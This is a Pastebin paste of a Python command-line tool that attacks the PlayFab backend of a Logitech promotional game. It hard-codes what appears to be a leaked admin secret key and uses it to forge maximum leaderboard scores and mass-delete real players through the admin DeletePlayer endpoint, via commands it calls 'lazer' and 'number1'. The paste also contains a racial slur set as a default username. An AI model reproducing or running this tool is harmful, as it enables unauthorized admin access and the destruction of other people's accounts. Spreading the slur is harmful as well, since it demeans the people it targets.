Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # After all the mistakes Logitech has made, I've decided to make this to raise awareness..
- #
- # ___ .
- # / / __ /
- # /__/ / __ / ___ __ -/- Destroying leaderboards
- # / / / / / /__/ / / since December 2019
- # / / /__/ __/ /__ /__ /
- #
- # / .
- # / / /
- # / / ___ /__ -/- ____ __ ___ ___ /
- # / / /__/ / / / /___ /__/ /__/ /__/ ___/
- # /___ / ___/ / / / ____/ / /__ /__ /__/
- # version 1.0
- #
- # Features:
- # Perform admin actions
- # Delete users
- # More!
- banner = """
- __ .
- / / __ /
- /__/ / __ / ___ __ -/- Destroying leaderboards
- / / / / / /__/ / / since December 2019
- / / /__/ __/ /__ /__ /
- / .
- / / /
- / / ___ /__ -/- ____ __ ___ ___ /
- / / /__/ / / / /___ /__/ /__/ /__/ ___/
- /___ / ___/ / / / ____/ / /__ /__ /__/
- """
- help = """
- session: Get a session.
- setname: Set your name.
- setscore: Set your score (up to 2**31-1).
- """
- import requests, json, uuid
- secret_key = "TCSI8KXDHUX8FR617Q4XE3F68PJFW1BPH5TGNRQHQ7Q4AG7ERS"
- url = "https://3860f.playfabapi.com/"
- title_id = "3860F"
- res_urls = {
- "WordFilter": "https://lightspeedchallenge.co.uk/game/bin/data/word_filter.json",
- "Code": "https://lightspeedchallenge.co.uk/game/main.js",
- "Targets": "https://lightspeedchallenge.co.uk/game/bin/data/targets_data.json",
- "Assets": "https://lightspeedchallenge.co.uk/game/bin/data/asset_pack.json",
- "Config": "https://lightspeedchallenge.co.uk/game/config.json",
- "DOM": "https://lightspeedchallenge.co.uk/game/bin/data/dom_classes.json"
- }
- word_filter = "";
- session = "";
- id = "";
- cli_base = "https://3860f.playfabapi.com/Client/"
- adm_base = "https://3860f.playfabapi.com/Admin/"
- sdk = "JavaScriptSDK-1.55.191015"
- def clienturl(method):
- return cli_base + method + "?sdk=" + sdk
- def adminurl(method):
- return adm_base + method + "?sdk=" + sdk
- def initialize():
- word_filter = json.loads(requests.get(res_urls["WordFilter"]).text)
- def init_session():
- id = str(uuid.uuid4())
- object = {
- "TitleId": "3860F",
- "CustomId": id,
- "CreateAccount": True
- }
- resp = json.loads(requests.post(clienturl("LoginWithCustomID"), json = object).text)
- if resp['code'] != 200:
- raise Exception("Got error code {}".format(resp['code']))
- else:
- global uid
- uid = resp['data']['PlayFabId']
- session = resp['data']['SessionTicket']
- return session
- def setScore(score):
- if session is None:
- raise Exception("Authentication required")
- else:
- object = {
- "Statistics": [
- {
- "StatisticName": "highscoresWeekly",
- "Value": score
- },
- {
- "StatisticName": "highscores",
- "Value": score
- }
- ]
- }
- resp = json.loads(requests.post(clienturl("UpdatePlayerStatistics"), headers={"X-Authentication":session},json = object).text)
- if resp['code'] != 200:
- raise Exception("Got error code {}".format(resp['code']))
- else:
- return resp
- def setSession(sess):
- global session
- session = sess
- def setName(name):
- if session is None:
- raise Exception("Authentication required")
- else:
- object = {
- "DisplayName": name
- }
- resp = json.loads(requests.post(clienturl("UpdateUserTitleDisplayName"), json = object, headers={"X-Authorization":session}).text)
- if resp['code'] != 200:
- raise Exception("Got error code {}".format(resp['code']))
- else:
- global uname
- uname = name
- return resp
- def leaderboardCmd(count):
- object = {
- "TitleId":"3860F",
- "StatisticName":"highscoresWeekly",
- "StartPosition":0,
- "MaxResultsCount":count
- }
- resp = json.loads(requests.post(clienturl("GetLeaderboard"), json = object, headers={"X-Authentication":session,"X-PlayFabSDK": sdk,"Referer":"https://lightspeedchallenge.co.uk/game/"}).text)
- if resp['code'] != 200:
- raise Exception("Got error code {}".format(resp['code']))
- else:
- return resp
- def deleteUser(uid):
- object = {
- "PlayFabId": uid
- }
- resp = json.loads(requests.post(adminurl("DeletePlayer"), json = object, headers={"X-SecretKey":secret_key,"X-PlayFabSDK": sdk}).text)
- if resp['code'] != 200:
- raise Exception("Got error code {}".format(resp['code']))
- else:
- return resp
- xprompt = "dev@lightspeedchallenge.co.uk:/pwn#"
- def __parse(cmd):
- if cmd.startswith("session"):
- try:
- global session
- session = init_session()
- except Exception as e:
- print("Error: {}".format(e))
- if session is None:
- print("Something went wrong, we don't have a session. Try that again.")
- else:
- print("We have a session: {}".format(session))
- elif cmd.startswith("setname"):
- z = cmd.split(" ")
- n = ""
- if len(z) < 2:
- print("You need a name for that.")
- return
- else:
- n = " ".join(z[1:])
- if session is None:
- print("You need a session to do this.")
- return
- else:
- try:
- setName(n)
- except Exception as e:
- print("Error: {}".format(e))
- elif cmd.startswith("setscore"):
- z = cmd.split(" ")
- s = 0
- if len(z) < 2:
- print("You need a score for that.")
- return
- else:
- s = int(z[1])
- if session is None:
- print("You need a session to do this.")
- return
- else:
- try:
- setScore(s)
- except Exception as e:
- print("Error: {}".format(e))
- elif cmd.startswith("deluser"):
- z = cmd.split(" ")
- i = 0
- if len(z) < 2:
- print("You need a PlayFab ID for that.")
- return
- else:
- i = z[1]
- try:
- deleteUser(i)
- except Exception as e:
- print("Error: {}".format(e))
- elif cmd.startswith("exit"):
- print("Bye!")
- exit()
- elif cmd.startswith("leaderboard"):
- if session is None:
- print("You need a session to do this.")
- return
- if len(cmd.split(" ")) >= 2:
- a = int(cmd.split(" ")[1])
- else:
- a = 10
- z = leaderboardCmd(a)
- y = z["data"]["Leaderboard"]
- for x in y:
- print("PlayFab ID: {}".format(x["PlayFabId"]))
- print("Display Name: {}".format(x["DisplayName"]))
- print("Score: {}".format(x["StatValue"]))
- print("Position: {}".format(x["Position"]+1))
- print("-----")
- elif cmd.startswith("setsess"):
- x = cmd.split(" ")
- if len(x) < 2:
- print("Please supply a session ticket.")
- return
- setSession(x[1])
- elif cmd.startswith("number1"):
- if session is None:
- print("You need a session to do this.")
- return
- if uname is None:
- print("You don't have a name: defaulting to niggers1")
- setName("niggers1")
- setScore(2147483647)
- z = leaderboardCmd(100)
- y = z["data"]["Leaderboard"]
- for x in y:
- if x["PlayFabId"] == uid:
- print("Oh, it's me! {} (name: {}, score: {}, place: {})".format(x["PlayFabId"],x["DisplayName"],x["StatValue"],x["Position"]+1))
- break
- else:
- print("Firing lazer at {} (name: {}, score: {}, place: {})".format(x["PlayFabId"],x["DisplayName"],x["StatValue"],x["Position"]+1))
- deleteUser(x["PlayFabId"])
- elif cmd.startswith("help") or cmd.startswith("?"):
- print(help)
- elif cmd.startswith("lazer"):
- if session is None:
- print("You need a session to do this.")
- return
- if len(cmd.split(" ")) >= 2:
- a = int(cmd.split(" ")[1])
- else:
- a = 10
- print("Lazer time: nuking {} users".format(a))
- z = leaderboardCmd(a)
- y = z["data"]["Leaderboard"]
- for x in y:
- print("Firing lazer at {} (name: {}, score: {}, place: {})".format(x["PlayFabId"],x["DisplayName"],x["StatValue"],x["Position"]+1))
- deleteUser(x["PlayFabId"])
- else:
- print("That command doesn't exist. Type help or ? to get more information.")
- def __console():
- while True:
- cmd = input("{} ".format(xprompt))
- __parse(cmd)
- print(banner)
- __console()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement